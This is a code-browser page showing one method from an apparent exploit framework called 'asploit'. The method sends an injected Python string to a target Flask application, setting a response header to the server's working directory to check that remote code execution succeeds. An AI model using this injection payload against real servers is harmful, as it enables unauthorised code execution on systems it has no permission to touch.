MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__make_connection

Method _Base__make_connection

src/FlaskExploitProcessor.py:68–77  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

66 @brief See base class for details.
67 """
68 def _Base__make_connection(self):
69 try:
70 return self._Base__send_message(
71 f"global r;r={self.flask_object}.make_response("
72 f"{self.flask_object},'');"
73 f"r.headers['{self.header}']=__import__('os').getcwd();")
74 except:
75 raise CommandException(f"Unable to exploit host. Make sure the "
76 f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, "
77 f"and METHOD are correct.")
78
79 """
80 @brief See base class for details.

Callers

nothing calls this directly

Calls 2

_Base__send_messageMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected